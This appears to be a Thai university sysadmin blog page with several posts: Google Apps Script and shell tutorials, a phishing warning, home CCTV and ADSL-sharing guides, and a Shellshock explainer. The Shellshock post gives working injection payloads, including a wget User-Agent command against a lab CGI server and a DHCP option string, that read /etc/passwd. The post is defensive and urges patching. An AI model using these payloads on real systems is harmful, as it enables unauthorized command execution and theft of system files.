Author: kanakorn.h

  • Case Study: ตรวจสอบ Website Availability ด้วย Google Apps Script

    1. เปิด Google Sheets : GASWS1
    2. สร้าง Sheet ใหม่ ชื่อ “Log”
    3. เมนู Tools > Script Editor…
    4. เมนู File > New > Script File
    5. ตั้งชื่อ: myscript4
    6. เขียนโค๊ดตามนี้
       function check_website(url) { 
       var response = UrlFetchApp.fetch(url, {muteHttpExceptions: true});
       return response.getResponseCode();
      }
      
      function doLog(timestamp, responseCode, timeDiff) {
       
       var ss=SpreadsheetApp.getActiveSpreadsheet();
       var sheet=SpreadsheetApp.setActiveSheet(ss.getSheetByName("Log")); 
       sheet.appendRow([timestamp, responseCode, timeDiff]);
      }
      
      function getTime() {
       var startTime = new Date() ;
       var responseCode=check_website("http://www.psu.ac.th");
       var endTime = new Date() ;
       var timeDiff = endTime-startTime; 
       doLog(Utilities.formatDate(new Date(), "GMT+7", "yyyyMMdd-HHmmss") , responseCode , timeDiff);
      }
    7. เมนู Resources > All yours triggers
      คลิก No triggers set up. Click here to add one now.
      ตั้งค่า
      Run = getTime
      Event = Time-driven
      แล้วเลือกเป็น Minutes timers และ Every minute
      จากนั้นคลิกปุ่ม Save
  • อ่าน/เขียนข้อมูลกับ Google Sheets

    1. เปิด Google Sheets : GASWS1
    2. เมนู Tools > Script Editor…
    3. เมนู File > New > Script File
    4. ตั้งชื่อ: myscript3
    5. สร้าง function insertData1() ตามนี้
      function insertData1() {
       var ss=SpreadsheetApp.getActiveSpreadsheet();
       var sheet=SpreadsheetApp.setActiveSheet(ss.getSheetByName("Sheet1"));
       sheet.getRange(1, 1).setValue("Hello World");
       sheet.getRange("A2").setValue("สวัสดี");
       
       var v1=[ ["ชื่อ","นามสกุล","อายุ"] ];
       var v2=[
       ["สมชาย"]
       ,["Robert"]
       ,["39"]
       ];
       sheet.getRange("A3:C3").setValues(v1);
       sheet.getRange("A4:A6").setValues(v2);
      }
    6. เมนู Run > insertData1
    7. สร้าง function insertData2() ตามนี้
      function insertData2() {
       var ss=SpreadsheetApp.getActiveSpreadsheet();
       var sheet=SpreadsheetApp.setActiveSheet(ss.getSheetByName("Sheet1")); 
       sheet.appendRow([new Date(),"something"]);
      }
    8. เมนู File > Save หรือ กดปุ่ม Ctrl+s
    9. เมนู Run > insertData2
    10. เมนู Resources > All yours triggers
      คลิก No triggers set up. Click here to add one now.
      ตั้งค่า
      Run = insertData2
      Event = Time-driven
      แล้วเลือกเป็น Minutes timers และ Every minute
      จากนั้นคลิกปุ่ม Save
    11. ไปที่ Google Sheets “GASWS1”
    12. สร้าง Sheet ใหม่ ชื่อ “ReadData”
    13. เมนู Tools > Script Editor…
    14. สร้าง function readData1() ตามนี้
      function readData1(){
       var ss=SpreadsheetApp.getActiveSpreadsheet();
       var sheet=SpreadsheetApp.setActiveSheet(ss.getSheetByName("ReadData")); 
      
       var url="https://docs.google.com/spreadsheets/d/1oztRXjC2KJzrqC3LtiRnUPrEgohX4VTYHixylvtCdzY/edit?usp=sharing";
       var db=SpreadsheetApp.openByUrl(url);
       var table=db.setActiveSheet(db.getSheetByName("WGHCEPA"));
       var data=table.getRange("A1:J10").getValues();
       
       for (var i=0; i<data.length;i++){
       sheet.appendRow(data[i]);
       }
       
      }
    15. เมนู File > Save หรือ กดปุ่ม Ctrl+s
    16. เมนู Run > readData1
    17. สร้าง function readData2() ตามนี้
      function readData2(){
       var ss=SpreadsheetApp.getActiveSpreadsheet();
       var sheet=SpreadsheetApp.setActiveSheet(ss.getSheetByName("readData")); 
      
       var id="1oztRXjC2KJzrqC3LtiRnUPrEgohX4VTYHixylvtCdzY";
       var db=SpreadsheetApp.openById(id);
       var table=db.setActiveSheet(db.getSheetByName("WGHCEPA"));
       var data=table.getDataRange().getValues();
       
       for (var i=0; i<data.length;i++){
       sheet.appendRow(data[i]);
       }
       
      }
    18. เมนู File > Save หรือ กดปุ่ม Ctrl+s
    19. เมนู Run > readData2
    20. สร้าง function insertData3() ตามนี้
      function insertData3(){
       var url="https://docs.google.com/a/psu.ac.th/spreadsheets/d/1bQyyQrB3PPyawWVb3afMi0Kgz1KUibIfMblv351BtQI/edit?usp=sharing";
       var db=SpreadsheetApp.openByUrl(url);
       var table=db.setActiveSheet(db.getSheetByName("Sheet1"));
       // เปลี่ยนเป็น ชื่อ นามสกุล และคณะ/หน่วยงานของท่าน
       var mydata=["ชื่อ","นามสกุล","คณะ/หน่วยงาน"];
       
       table.appendRow(mydata);
      }
    21. เมนู File > Save หรือ กดปุ่ม Ctrl+s
    22. เมนู Run > insertData3
  • Shell Script : Grouping and Summation

    มี Log ขนาดใหญ่ แล้ว ต้องการจะวิเคราะห์ข้อมูลของนาทีที่ผ่านมา เลือกเฉพาะรูปแบบที่ต้องการด้วยคำสั่ง

    grep 'Apr 28 10:59' /var/log/mail.log | grep 'postfix/qmgr' |grep 'nrcpt=' |grep -v 'from=<>'

    ได้ผลมาประมาณนี้

    01

    ต้องการเอาข้อมูล X และ Y จากรูปแบบนี้ from=<X> และ nrcpt=Y ใช้ความรู้จาก Shell Script: Extract exact pattern from string ใช้คำสั่งต่อไปนี้

    grep 'Apr 28 10:59' /var/log/mail.log | grep 'postfix/qmgr' |grep 'nrcpt=' |grep -v 'from=<>'|sed -n 's/.*\sfrom=<\(.*\)>.*\snrcpt=\(.*\)\s(.*/\1:\2/p'

    ได้ผลมาประมาณนี้

    02

    ต้องการจับกลุ่มตาม คอลัมน์ที่ 1 แล้วหาผลรวมของคอลัมน์ที่ 2 ในแต่ละกลุ่ม ใช้คำสั่ง

    grep 'Apr 28 10:59' /var/log/mail.log | grep 'postfix/qmgr' |grep 'nrcpt=' |grep -v 'from=<>'|sed -n 's/.*\sfrom=<\(.*\)>.*\snrcpt=\(.*\)\s(.*/\1:\2/p' | awk 'BEGIN{FS=OFS=":"}{a[$1]+=$2}END{ for (i in a) print i,a[i]}'

    ได้ผลดังนี้

    03

    Reference:

    http://unix.stackexchange.com/questions/169215/group-by-and-sum-in-shell-script-without-awk

  • Shell Script : Extract exact pattern from string

    มี string ดังนี้ ในตัวแปร line

    line=’Apr 18 06:04:57 webmail squirrelmail: Message sent via webmail: by username.s (psu.ac.th) at 41.203.69.5 on 04/17/2015 23:04:57: Message-ID: 98f9739438686e127bcb8547fea7ed82.squirrel@webmail.psu.ac.th Total 9 recipients Message-ID: 98f9739438686e127bcb8547fea7ed82.squirrel@webmail.psu.ac.th’

    ต้องการค่าที่อยู่ระหว่าง Total … recipients

    ใช้คำสั่งนี้

    total=$(echo $line | sed -n ‘s/.*Total \([[:digit:]]*\) recipients.*/\1/p’)

    ตัวแปร $total จะมีค่า 9 ตามที่ต้องการ

    อธิบาย
    คำสั่ง
    sed -n ‘s/PATTERN/&/p’
    จะแสดงข้อความที่ตรงกับ Pattern เท่านั้น ไม่แสดงข้อความอย่างอื่่น

    Reference:
    http://www.grymoire.com/Unix/Sed.html#uh-15

  • Spam-20150420-01

    หากท่านได้รับ Email ในลักษณะดังภาพต่อไปนี้ … นี่เป็นจดหมายหลอกลวง !!!

    สิ่งที่ต้องทำ !

    • ห้ามคลิกลิงค์ใดๆ: เพราะมันจะนำไปสู่เว็บไซต์หลอกลวงเอาข้อมูลส่วนตัว รหัสผ่าน และข้อมูลทางการเงินได้ หรือ อาจจะถูกฝังโปรแกรมดักจับข้อมูลในเครื่องของท่านได้ โดยไม่มีการเตือน
    • ห้าม Reply, Forward : เพราะท่านกำลังทำให้เกิดการแพร่กระจาย และ ตกเป็นเป้าหมายต่อไปทันที
    • ให้ลบทิ้งทันที

    หากคลิก หรือ พลาดบอกรหัสผ่านไปแล้ว

    • ให้ตั้งรหัสผ่านใหม่ทันที !!! และต้องแตกต่างจากเดิมโดยสิ้นเชิง
    • หาก Reply ไปตอบโต้กับผู้ส่ง ท่านต้องระวังตัวมากขึ้น เพราะจะมีจดหมายหลอกลวงอื่นๆจำนวนมากที่จะวิ่งเข้ามาหาท่าน

    ทางมหาวิทยาลัย จะไม่ส่งจดหมายแจ้งเตือน/สอบถามรหัสผ่านจากท่านเด็ดขาด
    ดูลักษณะ จดหมายหลอกลวงได้ที่นี่ http://sysadmin.psu.ac.th/tag/spamtoday/

    11016090_825810207484219_4181677015922385492_n 11133880_979914218687413_6070345264068726966_o 11168077_10206042289793579_6477794721261486887_n

     

    Screenshot_2015-05-19-10-04-57

  • วิธีทำระบบกล้องวงจรปิดที่บ้านแบบประหยัด + ดูผ่าน Internet โดยไม่ต้องทำ Port Forward

    อยากมีกล้องวงจรปิดที่บ้านแบบประหยัดงบ เชิญอ่าน …

    แนวคิด: ใช้งานสิ่งที่มีอยู่ ซื้อเท่าที่จำเป็น บันทึกวิดีโอได้ตามช่วงเวลาที่กำหนด (06:00-18:00) นอกช่วงเวลาบันทึกเฉพาะเมื่อมีความเคลื่อนไหว (Motion Detection) (00:00-06:00) ระบบสามารถลบวิดีโอที่อายุเกินกำหนดได้ และสามารถดูได้จาก Internet โดยไม่ต้องทำ Port Forward (บ้านที่มี ADSL ไม่สามารถ Fix IP ได้ แถมบางค่ายให้ NAT IP มาที่ Router อีก ยิ่งทำยาก)

    สิ่งที่มีอยู่แล้ว:

    กล้อง: สามารถใช้งาน Smart Phone เก่าๆ เช่น Samsung Galaxy Mini + ติดตั้งโปรแกรม IPCamera โดย Fix IP: 192.168.2.21

       

     

    PC: Notebook เครื่องเก่า เป็น Windows 7 ติดตั้งโปรแกรม Open Source ชื่อ iSpy หรือ จะใช้ VLC ก็ได้ (ค่อยเขียนบทความต่อไป สำหรับคนที่จะใช้ Linux Server)

    Wireless Network:

    TP-Link TD-W8961ND

    ซื้อเพิ่ม:

    กล้อง Network Camera: D-Link DCS-930L ราคา 1,290 บาท โดย Fix IP: 192.168.2.22

    เลือกรุ่นนี้เพราะ พื้นที่ที่ต้องการจับภาพไม่จำเป็นต้องมี Infrared ไว้ดูตอนกลางคืน สามารถตั้งเวลาที่จะเชื่อมต่อจาก Internet ได้ (เพื่อความปลอดภัย) ,มี Motion Detect ซึ่งเพียงพอต่อความต้องการแล้ว และ กล้องของ D-Link มีสิ่งที่เรียกว่า mydlink Cloud Access ทำให้สามารถเชื่อมต่อกล้องจาก Internet ได้โดยไม่ต้องทำ Port Forward (หากใครไม่ชอบ ก็ปิดได้)

    การติดตั้ง:

    กล้องของ Android ที่ติดตั้ง IPCamera Apps ไป จะสามารถเข้าถึงวิดีโอได้ที่ http://a.b.c.d:8080/video โดยสามารถตั้ง Username/Password ได้ตามต้องการ

    กล้องของ D-Link DCS-930L เมื่อแกะกล่อง ก็เสียบสายไฟ แล้วไปกดปุ่ม WPS ที่ Router ระบบก็จะเชื่อมต่อกล้องเข้ากับระบบแล้ว หรือถ้าไม่มี WPS ก็ต่อสาย LAN เข้ากับ Port ของกล้อง และ Fix IP ของ Network Card ของคอมพิวเตอร์ ให้เป็น 192.168.0.2 แล้วเปิดเว็บไปที่ http://192.168.0.20 เพื่อเข้าไปบริหารจัดการกล้อง จากนั้น เมื่อจะเข้าถึงวิดีโอได้ที่ http://a.b.c.d/video/mjpeg.cgi โดยสามารถตั้ง Username/Password ได้ตามต้องการ

    ที่ Router ให้เข้าไปใน Router Configuration เพื่อ Fix IP กับ MAC Address ของกล้อง เป็นอันเรียบร้อย

    โปรแกรม iSpy: กดปุม Add กล้องตาม URL ที่กล่าวข้างต้น จากนั้น ตั้งค่า Schedule เพื่อกำหนดว่า เวลา 06:00-18:00 ของทุกวัน ให้บันทึกวิดีโอต่อเนื่อง ค่าเริ่มต้นจะบันทึกวิดีโอเป็นไฟล์ ความยาว 15 นาที (900 วินาที) ซึ่งสามารถปรับแต่งได้ตามต้องการ ส่วนเวลา 00:00-06:00 ก็สั่งให้ทำ Motion Detect จับภาพเฉพาะเมื่อมีการเคลื่อนไหว (สามารถระบายตำแหน่งที่ต้องการให้จับความเคลื่อนไหวได้ด้วย) แล้วก็ Save … จบ โปรแกรมนี้สามารถเพิ่มกล้องได้ 32 ตัว ไม่จำกัดว่ายี่ห้อกล้อง ขอให้สามารถเข้าถึงวิดีโอได้ผ่าน Network ก็พอแล้ว

    การเข้าถึงกล้องจาก Internet:

    สำหรับ D-Link Network Camera ก็ให้ติดตั้ง Clients แล้วใส่ Username/Password ของ mydlink Account ก็สามารถดูได้แล้วผ่าน Cloud Access

    ส่วน iSpy นั้น ถ้าจะเข้าถึงจากภายนอก ก็ต้องจ่ายเงินนิดหน่อย และต้องทำการ Port Forward (พอดีไม่ได้ทำตรงนี้)

    เดี๋ยวค่อยเล่ารายละเอียดโปรแกรม iSpy และ การใช้ VLC เพื่อบันทึกวิดีโอจากล้องในตอนต่อไป

     

     

     

     

     

  • วิธีการใช้งาน ADSL ร่วมกันกับข้างบ้าน

    ใครใช้ ADSL หรือ ซื้อ Internet ไว้ใช้งานที่บ้านบ้าง ??? มีราคาตั้งแต่ 590 บาทต่อเดือน (ไม่รวม VAT) ขึ้นไป เมื่อมีแล้วก็ใช้งานได้รวดเร็วทันใจ … แต่คำถามคือ … ใช้งานคุ้มค่าหรือไม่ ??? แล้วจะดีไม๊ ถ้ารู้ว่า ยังใช้ไม่คุ้มค่า แล้วสามารถหารค่าใช้จ่ายร่วมกับข้างบ้านได้ หรือ กรณีบ้านเดียวกันนี่แหล่ะ แต่เป็นบ้านทรงสูงเช่น บ้านเป็นตึกหลายชั้น จะเดินสาย LAN ไปชั้นบนๆก็ไม่สะดวก ไม่สวยงาม สามารถใช้ Solution นี้ได้ (แบ่งสัดส่วนกันตามสะดวกใจ)

    โจทย์: บ้าน A พบว่า ตัวเองใช้งาน ADSL 10Mbps ไม่ค่อยคุ้ม เลยคุยกับบ้าน B ว่า แบ่งใช้งานกันไม๊ ? บ้าน B ก็พบว่า ตัวเองถ้าติดตั้ง ADSL ใหม่ก็ใช้ไม่คุ้มเช่นกัน จึงหาทางออกร่วมกัน บ้าน A และ B คั่นด้วยถนนหมู่บ้าน กว้าง 10 เมตร ไม่สามารถลากสาย LAN ข้ามมาได้ ส่วน ADSL Router ของ A อยู่กลางบ้าน และปล่อยสัญญาณ WiFi เต็มพิกัด

    ที่กลางบ้าน B วัดความแรง WiFi ของบ้าน A ได้ -88 dB แต่ถ้ามาที่หน้าบ้านของ B จะวัดได้ -65 dB ซึ่งพอจะไหว

    แนวคิด: จะใช้เทคนิค WiFi Repeater ด้วย ADSL Router ตัวเก่ารับสัญญาณ WiFi มาแล้วกระจายผ่าน LAN ส่งให้ ใช้ WiFi Router อีกตัว ทำหน้าที่เป็น Access Point

    อุปกรณ์ที่ใช้ และการตั้งค่า:
    บ้าน A: 3BB ADSL WiFi Router (Router IP: 192.168.1.1) ตั้ง SSID เป็น AHOME

    บ้าน B:
    1. Xyzel NBG-419N ทำงานในโหมด WISP (Wireless Internet Service Provider) ทำหน้าที่รับสัญญาณ WiFi มากระจายผ่าน LAN (Router IP: 192.168.2.1) และเปิด DHCP Range 192.168.2.2 – 192.168.2.99 จากนั้น เสียบสาย LAN เข้าที่ Port 1 (ถ้าจะให้ตัว Router อยู่ภายในบ้าน ควรซื้อสาย Antenna ยาวสัก 3 เมตร ราคาประมาณ 199 บาท เพื่อให้เสาอากาศไปอยู่นอกบ้าน แล้วเชื่อมสายสัญญาณเข้ามาที่ตัว Router)

    2. TP-Link TD-W8961ND เปลี่ยนเป็น Access Point Mode  (Router IP: 192.168.2.100) ตั้ง SSID เป็น BHOME ปิด DHCP Server แล้วเสียบสาย LAN เข้ามาที่ Port 1

    ผลการทำงาน: 

    บ้าน B: เมื่อเชื่อมกับ BHOME จะได้สัญญาณความแรง -50dB ทั้งบ้าน สามารถทดสอบ Speed Test ได้ 7 Mbps

     

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #16

    ShellShock หรือในอีกชื่อคือ Bashdoor (เลียนเสียง Backdoor) ซะงั้น เป็นช่องโหว่ใน Shell ที่ใช้กันทั่วไปในตระกูล *NIX ทั้ง UNIX, Linux รวมถึง Mac OS X[1] ด้วย โดยอาศัยความสามารถในการเขียน Function ใส่ใน Environment Variable ได้ โดยไม่มีการตรวจสอบข้อมูลที่แถมมาทำให้สามารถแทรกคำสั่งของระบบปฏิบัติการได้

    ช่องโหว่นี้เริ่มประกาศเป็น CVE-2014-6271[2] โดย Bash Shell ที่ได้รับผลกระทบเริ่มตั้งแต่รุ่น 1.14.0 ถึง 4.3 ย้อนกลับไปตั้งแต่ปี 1999 กันเลยทีเดียว !!  มีผลกระทบกับ CGI-base Web Server (ได้แก่ Apache), OpenSSH Server, DHCP Clients และ Qmail Server โดยเป็น Bug ตาม CWE 78[3] Improper Sanitization of Special Elements used in an OS Command (‘OS Command Injection’)

    วิธีตรวจสอบ Bash Version ใช้คำสั่ง

    bash --version

    หากพบว่า ต่ำกว่า 4.3 ก็ให้ลองคำสั่งต่อไปนี้

    env x='() { :;}; echo Vulnerable' bash -c 'echo Hello World'

    ถ้าตอบมาว่า

    Vulnerable
    Hello World

    ก็แสดงว่า เป็นเครื่องนี้มีช่องโหว่ครับ

    อธิบายเพิ่มเติม

    1. คำสั่งในการสร้าง Environment Variable คือ

    env x=' … '

    โดยในที่นี้จะมีตัวแปร x เป็น Environment Variable

    2. ต่อมา ในตัวแปร x สามารถสร้าง Function ได้ ในรูปแบบ

    env x='() { :;};'

    ภายใน { } จะใส่คำสั่งอะไรก็ได้ แต่ในตัวอย่างนี้ เครื่องหมาย : มีความหมายเหมือนกับ true อะไรทำนองนั้น

    3. ปัญหาอยู่ตรงที่ว่า Bash Shell ที่มีปัญหา ไม่ได้ตรวจสอบว่า Environment Variable ที่สร้างแบบ Function นี้ สิ้นสุดแค่การสร้าง function ทำให้สามารถแทรกคำสั่งเพิ่มเติมได้ หลังเครื่องหมาย ;

    env x='() { :;}; echo Vulnerable'

    ลองใช้คำสั่ง

    env x='() { :;}; cat /etc/passwd'

    จะแสดงตัวแปร Environment Variable ทั้งหมด และพบตัวแปร x มีค่าเป็น function อยู่ แต่จะยังไม่มีอะไรเกิดขึ้น

    4. แต่เมื่อมีการเรียก Bash Shell ทำงาน ด้วยคำสั่ง

    env x='() { :;}; echo Vulnerable' bash -c 'echo Hello World'

    ก็จะเป็นการเรียกคำสั่งในตัวแปร x ออกมาด้วยนั่นเอง

    กรณีผลกระทบของ DHCP Client คือ ถ้าเครื่อง DHCP Server ตัวอย่างเช่น dnsmasq[4] สามารถตั้งค่า dhcp-option-force ซึ่งจะส่งคำสั่งไปยัง DHCP Client ที่ใช้ Bash Shell ทำงานตามต้องการได้ เช่น

    dhcp-option-force=100,() { :; }; echo ‘You are going to be shocked..ShellShock !!!’>/tmp/

    ในส่วนของ Web Security หากติดตั้ง Apache [5]และใช้งาน CGI บนเครื่องที่มี Bash Shell ที่มีช่องโหว่นี้ ก็จะเกิดปัญหา โดยอาศัยตัวแปร Agent String วิธีการทดสอบมีดังนี้

    1. ที่เครื่องเว็บเซิร์ฟเวอร์ที่มี Apache และใช้งาน CGI มี test.cgi ง่ายๆดังนี้

    #!/bin/bash
     echo "Content-type: text/plain"
     echo
     echo
     echo "Hi"

    2. ถ้าเรียกผ่าน Web Server มี IP Address เป็น 192.168.56.101 และจะเรียก URL ของ CGI ดังนี้

    http://192.168.56.101/cgi-bin/test.cgi
    

    การเรียกผ่าน Web Browser ก็จะทำงานตามปรกติ

    3. แต่ถ้าใช้ wget ผ่านทาง command linet ไป โดยกำหนด option -U เพื่อบอกว่า Agent String ที่ติดต่อไปคืออะไร ก็จะสามารถแทรกคำสั่งเพิ่มเติมได้ เพราะ Apache CGI ใช้ Bash Shell ในการทำงานนี้ เช่นใช้คำสั่ง

    wget -U "() { :;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd" http://192.168.56.101/cgi-bin/test.cgi

    คำสั่งนี้ จะติดต่อไปยัง Web Server โดยแทนที่จะบอกว่าติดต่อไปจาก Agent อะไรธรรมดาๆ ก็จะแทรก Shell เข้าไปด้วย โดยตัวอย่างนี้ จะได้ /etc/passwd ออกมา เก็บไว้ที่เครื่อง ชื่อไฟล์ test.cgi

    ดังนั้น รีบ Patch ซะ

    ขอให้โชคดี


    [1] “Shellshock (software bug) – Wikipedia, the free encyclopedia.” 2014. 20 Jan. 2015 <http://en.wikipedia.org/wiki/Shellshock_(software_bug)>

    [2] “CVE-2014-6271 – CVE Details.” 2014. 20 Jan. 2015 <http://www.cvedetails.com/cve/CVE-2014-6271/>

    [3] “CWE – CWE-78: Improper Neutralization of Special …” 2006. 20 Jan. 2015 <http://cwe.mitre.org/data/definitions/78.html>

    [4] “shellshock dhcp exploitation – Security StackExchange.” 2014. 20 Jan. 2015 <http://security.stackexchange.com/questions/68877/shellshock-dhcp-exploitation>

    [5] “What is a specific example of how the Shellshock Bash bug …” 2014. 20 Jan. 2015 <http://security.stackexchange.com/questions/68122/what-is-a-specific-example-of-how-the-shellshock-bash-bug-could-be-exploited>